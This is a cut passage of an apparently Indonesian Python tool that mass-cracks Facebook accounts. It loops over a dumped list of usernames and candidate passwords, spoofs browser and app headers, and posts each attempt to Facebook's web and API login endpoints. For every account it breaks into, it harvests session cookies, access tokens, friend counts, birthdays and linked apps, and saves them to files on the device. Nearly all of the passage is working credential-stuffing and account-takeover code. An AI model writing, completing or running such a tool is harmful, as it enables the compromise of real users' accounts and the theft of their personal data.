  1109.                     'bi_wvdp': '{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false,"iframeProto":"function get contentWindow() { [native code] }","remap":false,"iframeData":{"hwc":true,"hwcr":false,"has_dnt":true,"has_standalone":false,"wnd_toStr_toStr":"function toString() { [native code] }","hasPerm":true,"permission_query_toString":"function query() { [native code] }","permission_query_toString_toString":"function toString() { [native code] }","has_seWo":true,"has_meDe":true,"has_creds":true,"has_hwi_bt":false,"has_agjsi":false}}',
  1110.                     'lsd': lsd,
  1111.                     'jazoest': jazoest,
  1112.                 }
  1113.                 byps.headers.update({
  1114.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()]),
  1115.                     'accept': '*/*',
  1116.                     'accept-language': "en-US,id-ID,id;q=0.9",
  1117.                     'user-agent': ua_generate,
  1118.                     'Host': 'm.prod.facebook.com',
  1119.                     'x-fb-lsd': self.payload['lsd'],
  1120.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  1121.                     'sec-ch-ua-mobile': '?1',
  1122.                     'sec-fetch-mode': 'cors',
  1123.                     'Connection': 'keep-alive',
  1124.                     'sec-fetch-site': 'same-origin',
  1125.                     'origin': 'https://m.prod.facebook.com',
  1126.                     "sec-ch-ua-platform": "Linux",
  1127.                     'x-asbd-id': '129477',
  1128.                     'referer': 'https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  1129.                     'sec-fetch-dest': 'empty',
  1130.                     'content-type': 'application/x-www-form-urlencoded',
  1131.                     'upgrade-insecure-requests': '1',
  1132.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  1133.                     'accept-encoding': 'gzip, deflate, br, zstd',
  1134.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  1135.                 })
  1136.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1137.                 break
  1138.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecAsyinc(username, password)
  1139.             except (Exception) as e: pass
  1140.         for passe in password:
  1141.             try:
  1142.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10], passe)})
  1143.                 self.response = byps.post('https://m.prod.facebook.com/login/device-based/login/async/?api_key=665739203554918&auth_token=5ca13e518ab45548c08cecb0929feb1a&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&refsrc=deprecated&app_id=665739203554918&cancel=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&lwv=100', data = self.payload, allow_redirects = True)
  1144.                 if 'c_user' in byps.cookies.get_dict().keys():
  1145.                     self.ok+=1
  1146.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1147.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1148.                     except (Exception) as e: convert_username = username
  1149.                     if 'ya' in self.opsi:
  1150.                         try:
  1151.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1152.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1153.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1154.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1155.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1156.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1157.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1158.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1159.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1160.                             else:
  1161.                                 for apk in active: true.add(f"{apk}")
  1162.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1163.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1164.                             else:
  1165.                                 for apk in inactive: true.add(f"{apk}")
  1166.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1167.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1168.                             else:
  1169.                                 for apk in deleted: true.add(f"{apk}")
  1170.                             printz(tree)
  1171.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  1172.                         except (Exception) as e:
  1173.                             print(e)
  1174.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1175.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1176.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1177.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1178.                             printz(tree)
  1179.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1180.                     else:
  1181.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1182.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1183.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1184.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1185.                         printz(tree)
  1186.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1187.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1188.                         wr.write(save)
  1189.                         wr.close()
  1190.                     break
  1191.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  1192.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1193.                     except (Exception) as e: convert_username = username
  1194.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1195.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1196.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1197.                     printz(tree)
  1198.                     self.cp+=1
  1199.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1200.                         wr.write(f'{convert_username}|{passe}\n')
  1201.                         wr.close()
  1202.                     break  
  1203.                 else: continue
  1204.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1205.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1206.                 time.sleep(31)
  1207.         self.lp+=1
  1208.        
  1209.     def ExecRegulerApi(self, username, password):
  1210.         byps = requests.Session()
  1211.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1212.         ua_generate = random.choice([Requ().useragent_api(), Requ().useragent_fb()])
  1213.         while True:
  1214.             try:
  1215.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1216.                 else: ua_generate
  1217.                 byps.headers.update({
  1218.                     "connection": "keep-alive",
  1219.                     "accept-language": "en-US,id-ID,id;q=0.9",
  1220.                     "sec-fetch-mode": "navigate",
  1221.                     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  1222.                     "sec-fetch-sest": "document",
  1223.                     "sec-fetch-site": "none",
  1224.                     "cache-control": "max-age=0",
  1225.                     "upgrade-insecure-requests": "1",
  1226.                     'sec-fetch-user': '?1',
  1227.                     "Host": "m.prod.facebook.com",
  1228.                     "user-agent": ua_generate,
  1229.                 })
  1230.                 self.poge = byps.get('https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
  1231.                 try:
  1232.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  1233.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  1234.                     li = re.search('name="li" value="(.*?)"', str(self.poge)).group(1)
  1235.                     m_ts = re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1)
  1236.                 except (AttributeError) as e:
  1237.                     continue
  1238.                 self.payload = {
  1239.                     'm_ts': m_ts,
  1240.                     'li': li,
  1241.                     'try_number': '0',
  1242.                     'unrecognized_tries': '0',
  1243.                     'prefill_contact_point': username,
  1244.                     'prefill_source': 'browser_dropdown',
  1245.                     'prefill_type': 'password',
  1246.                     'first_prefill_source': 'browser_dropdown',
  1247.                     'first_prefill_type': 'contact_point',
  1248.                     'had_cp_prefilled': 'true',
  1249.                     'had_password_prefilled': 'true',
  1250.                     'is_smart_lock': 'false',
  1251.                     'bi_xrwh': '0',
  1252.                     'lsd': lsd,
  1253.                     'jazoest': jazoest,
  1254.                     'login': 'Masuk'
  1255.                 }
  1256.                 byps.headers.update({
  1257.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()]),
  1258.                     'accept': '*/*',
  1259.                     'accept-language': "en-US,id-ID,id;q=0.9",
  1260.                     'user-agent': ua_generate,
  1261.                     'Host': 'm.prod.facebook.com',
  1262.                     'x-fb-lsd': self.payload['lsd'],
  1263.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  1264.                     'sec-ch-ua-mobile': '?1',
  1265.                     'sec-fetch-mode': 'cors',
  1266.                     'Connection': 'keep-alive',
  1267.                     'sec-fetch-site': 'same-origin',
  1268.                     'origin': 'https://m.prod.facebook.com',
  1269.                     "sec-ch-ua-platform": "Linux",
  1270.                     'x-asbd-id': '129477',
  1271.                     'referer': 'https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  1272.                     'sec-fetch-dest': 'empty',
  1273.                     'content-type': 'application/x-www-form-urlencoded',
  1274.                     'upgrade-insecure-requests': '1',
  1275.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  1276.                     'accept-encoding': 'gzip, deflate, br, zstd',
  1277.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  1278.                 })
  1279.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  1280.                 break
  1281.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecRegulerApi(username, password)
  1282.             except (Exception) as e: print(e)
  1283.         for passe in password:
  1284.             try:
  1285.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(str(time.time())[:10], passe)})
  1286.                 self.response = byps.post('https://m.prod.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9', data = self.payload, allow_redirects = True)
  1287.                 if 'c_user' in byps.cookies.get_dict().keys():
  1288.                     self.ok+=1
  1289.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1290.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1291.                     except (Exception) as e: convert_username = username
  1292.                     if 'ya' in self.opsi:
  1293.                         try:
  1294.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1295.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1296.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1297.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1298.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1299.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1300.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1301.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1302.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1303.                             else:
  1304.                                 for apk in active: true.add(f"{apk}")
  1305.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1306.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1307.                             else:
  1308.                                 for apk in inactive: true.add(f"{apk}")
  1309.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1310.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1311.                             else:
  1312.                                 for apk in deleted: true.add(f"{apk}")
  1313.                             printz(tree)
  1314.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  1315.                         except (Exception) as e:
  1316.                             print(e)
  1317.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1318.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1319.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1320.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1321.                             printz(tree)
  1322.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1323.                     else:
  1324.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1325.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1326.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1327.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1328.                         printz(tree)
  1329.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1330.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1331.                         wr.write(save)
  1332.                         wr.close()
  1333.                     break
  1334.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  1335.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1336.                     except (Exception) as e: convert_username = username
  1337.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1338.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1339.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1340.                     printz(tree)
  1341.                     self.cp+=1
  1342.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1343.                         wr.write(f'{convert_username}|{passe}\n')
  1344.                         wr.close()
  1345.                     break  
  1346.                 else: continue
  1347.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1348.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1349.                 time.sleep(31)
  1350.         self.lp+=1      
  1351.  
  1352.     def ExecApi(self, username, password):
  1353.         byps = requests.Session()
  1354.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1355.         ua_generate = Requ().useragent_api()
  1356.         while True:
  1357.             try:
  1358.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1359.                 else: ua_generate
  1360.                 byps.headers.update({
  1361.                      'content-type':'application/x-www-form-urlencoded',
  1362.                      'x-fb-sim-hni':str(random.randint(20000, 40000)),
  1363.                      'x-fb-connection-type':'unknown',
  1364.                      'Authorization':'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',
  1365.                      'user-agent': ua_generate,
  1366.                      'x-fb-net-hni':str(random.randint(20000, 40000)),
  1367.                      'x-fb-connection-bandwidth':str(random.randint(10000, 90000)),
  1368.                      'x-fb-connection-quality':'EXCELLENT',
  1369.                      'x-fb-friendly-name':'authenticate',
  1370.                      'accept-encoding':'gzip, deflate',
  1371.                      'x-fb-http-engine':'Liger'
  1372.                  })
  1373.                 self.payload = {
  1374.                     'adid': str(uuid.uuid4()),
  1375.                     'cpl':'true',
  1376.                     'credentials_type':'device_based_login_password',
  1377.                     'source': 'device_based_login',
  1378.                     'error_detail_type':'button_with_disabled',
  1379.                     'source':'login',
  1380.                     'format':'json',
  1381.                     'generate_session_cookies':'1',
  1382.                     'generate_analytics_claim':'1',
  1383.                     'machine_id': ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24)),
  1384.                     'generate_machine_id':'1',
  1385.                     'locale':'en_US',
  1386.                     'client_country_code':'US',
  1387.                     'device_id': str(uuid.uuid4()),
  1388.                     'method': 'auth.login',
  1389.                     'fb_api_req_friendly_name': 'authenticate',
  1390.                     'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'
  1391.                 }
  1392.                 break
  1393.             except requests.exceptions.ConnectionError: time.sleep(5); self.ExecApi(username, password)
  1394.             except Exception as e: pass
  1395.         for passe in password:
  1396.             try:
  1397.                 self.payload.update({'email': username,'password': passe})
  1398.                 self.response = byps.post('https://b-api.facebook.com/method/auth.login', data=self.payload, allow_redirects=False)
  1399.                 if "session_key" in str(self.response.text) and "access_token" in str(self.response.text):
  1400.                     self.ok+=1
  1401.                     cookie = (f'sb={base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")};{";".join(i["name"]+"="+i["value"] for i in resp.json()["session_cookies"])}')
  1402.                     access_token = self.payload.json()['access_token']
  1403.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1404.                     except Exception as e: convert_username = username
  1405.                     if 'ya' in self.opsi:
  1406.                         try:
  1407.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1408.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1409.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1410.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1411.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1412.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1413.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1414.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1415.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1416.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1417.                             else:
  1418.                                 for apk in active: true.add(f"{apk}")
  1419.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1420.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1421.                             else:
  1422.                                 for apk in inactive: true.add(f"{apk}")
  1423.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1424.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1425.                             else:
  1426.                                 for apk in deleted: true.add(f"{apk}")
  1427.                             printz(tree)
  1428.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}|{access_token}\n')
  1429.                         except (Exception) as e:
  1430.                             print(e)
  1431.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1432.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1433.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1434.                             tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1435.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1436.                             printz(tree)
  1437.                             save = (f'{convert_username}|{password}|{cookie}|{access_token}\n')
  1438.                     else:
  1439.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1440.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1441.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1442.                         tree.add(Panel(f"[bold green]{access_token}", style = "bold grey50", width=61))
  1443.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1444.                         printz(tree)
  1445.                         save = (f'{convert_username}|{passe}|{cookie}|{access_token}\n')
  1446.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1447.                         wr.write(save)
  1448.                         wr.close()
  1449.                     break
  1450.                 elif "User must verify their account" in self.response.text:
  1451.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
